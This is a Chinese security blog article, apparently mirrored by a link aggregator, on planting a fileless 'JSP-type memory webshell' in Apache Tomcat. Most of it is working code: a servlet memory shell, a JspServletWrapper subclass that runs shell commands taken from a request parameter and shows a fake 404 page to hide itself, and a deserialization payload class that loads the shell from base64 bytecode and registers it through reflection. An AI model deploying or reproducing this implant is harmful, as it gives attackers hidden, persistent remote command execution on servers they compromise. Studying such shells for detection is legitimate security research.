0

浅析JSP型内存马

 2 years ago
source link: https://tyskill.github.io/posts/jspservlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本文发于先知社区:https://xz.aliyun.com/t/11020

前言

文章介绍了两种实现jsp型内存马内存驻留的思路:

  • 反射关闭development属性,即从开发模式转为生产模式
  • 修改Options对象的modificationTestInterval属性,即修改Tomcat检查JSP更新的时间间隔

这两种都是属于在开发模式下才需要进行的修改,生产环境对JSP的检查是通过checkInterval属性,不过由于一般遇到的都是开发模式,便不再深究。

从Servlet型获得jspServlet型

文章中介绍的思路总的来说都是通过中断tomcat对JSP的检查机制,防止初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,因为JspServlet#serviceJspFile会通过查找JSP文件是否存在再装载wrapper

202203131614623.png

然后处理JSP Servlet默认的JspServletWrapper类也会因为mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的地方。

那么我们是否可以换一种思路,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:

<%
  Field reqF = request.getClass().getDeclaredField("request");
  reqF.setAccessible(true);
  Request req = (Request) reqF.get(request);
  StandardContext context = (StandardContext) req.getContext();

  Servlet servlet = new ServletTest(); // 继承Servlet类的子类
  String name = servlet.getClass().getSimpleName();

  org.apache.catalina.Wrapper newWrapper = context.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);
  newWrapper.setServletClass(servlet.getClass().getName());

  context.addChild(newWrapper);
  context.addServletMappingDecoded("/cmd",name);
%>

可以看到基本逻辑是获取上下文对象StandardContext然后动态添加映射规则,因此猜测jsp是否也可以这样做?

激情动调一遍,可以在JspServlet#serviceJspFile方法中发现以下代码:

202203131615611.png

既然我们的目标是不产生文件落地,那么就只需要关注红框代码就可以了,先从JspRuntimeContext中寻找访问地址对应的处理类(一般都是图中的JspServletWrapper类),然后跳过判断调用service方法。到这里已经和servlet很像了,所以自然而然地就会想到如果可以控制JspRuntimeContext中的内容是不是就可以实现无文件落地的效果,从上图可以发现JspRuntimeContext对象确实提供了addWrapper(String jspUri, JspServletWrapper jsw)方法,两个参数分别是访问地址和处理类。

至此编写思路就呼之欲出了,先定义一个继承JspServletWrapper类的子类,覆写service方法免于执行compile流程,接着控制JspRuntimeContext#addWrapper方法绑定映射规则:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    class MemJspServletWrapper extends JspServletWrapper {

        public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
            super(config, options, "", rctxt); // jspUri随便取值
        }

        @Override
        public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
            String cmd = request.getParameter("jspservlet");
            if (cmd != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")){
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = response.getWriter();
                out.println(output);
                out.flush();
                out.close();
            } else {
                // 伪造404页面
                String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
                response.sendError(404, msg);
            }
        }
    }
%>
<%
    //从request对象中获取request属性
    Field _request = request.getClass().getDeclaredField("request");
    _request.setAccessible(true);
    Request __request = (Request) _request.get(request);
    //获取MappingData
    MappingData mappingData = __request.getMappingData();
    //获取Wrapper
    Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
    _wrapper.setAccessible(true);
    Wrapper __wrapper = (Wrapper) _wrapper.get(mappingData);
    //获取jspServlet对象
    Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
    _jspServlet.setAccessible(true);
    Servlet __jspServlet = (Servlet) _jspServlet.get(__wrapper);
    // 获取ServletConfig对象
    Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
    _servletConfig.setAccessible(true);
    ServletConfig __servletConfig = (ServletConfig) _servletConfig.get(__jspServlet);
    //获取options中保存的对象
    Field _option = __jspServlet.getClass().getDeclaredField("options");
    _option.setAccessible(true);
    EmbeddedServletOptions __option = (EmbeddedServletOptions) _option.get(__jspServlet);
    // 获取JspRuntimeContext对象
    Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
    _jspRuntimeContext.setAccessible(true);
    JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext) _jspRuntimeContext.get(__jspServlet);
    JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);

    __jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>

反序列化注入内存马

既然要无文件落地,肯定不能通过JSP来注入内存马,还是应该通过反序列化来注入,所以接下来就要解决request隐式对象的获取问题,不过进行一些尝试之后没办法从正常Servlet获得的Request对象来获取JspServlet对象,因此只能掏出https://github.com/c0ny1/java-object-searcher寻找类

java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList<>();
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspServlet").build());
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspRuntimeContext").build());
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(50);
searcher.setReport_save_path("E:\\tmp");
searcher.searchObject();

最后找到了两条可获取JspServlet的方法,挑一条编写,代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;

import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;

public class InjectToJspServlet extends AbstractTranslet {
    private static final String jsppath = "/tyskill.jsp";

    public InjectToJspServlet() {
        try {
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            StandardContext standardContext = (StandardContext) standardroot.getContext();
            //从 StandardContext 基类 ContainerBase 中获取 children 属性
            HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext,
                    "children");
            //获取 Wrapper
            Wrapper _wrapper = (Wrapper) _children.get("jsp");
            //获取jspServlet对象
            Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");
            // 获取ServletConfig对象
            ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");
            //获取options中保存的对象
            EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");
            // 获取JspRuntimeContext对象
            JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");

            String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
            byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);

            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
                    int.class);
            method.setAccessible(true);
            Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);

            JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class,
                    JspRuntimeContext.class).newInstance(_servletConfig, _option, _jspRuntimeContext);

            _jspRuntimeContext.addWrapper(jsppath, memjsp);

        } catch (Exception ignored) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    private static Object getFieldValue(Object obj, String fieldName) throws Exception {
        java.lang.reflect.Field declaredField;
        java.lang.Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception ignored){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }
}

总结

不足

  • 由于jsp的servlet处理类一般都是JspServletWrapper类,所以对于这种自己实现JspServletWrapper类的方法很容易就可以被查杀
  • 由于jsp的局限性,在MVC架构的背景下应用场景也不大

版本差异

tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>

Reference


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK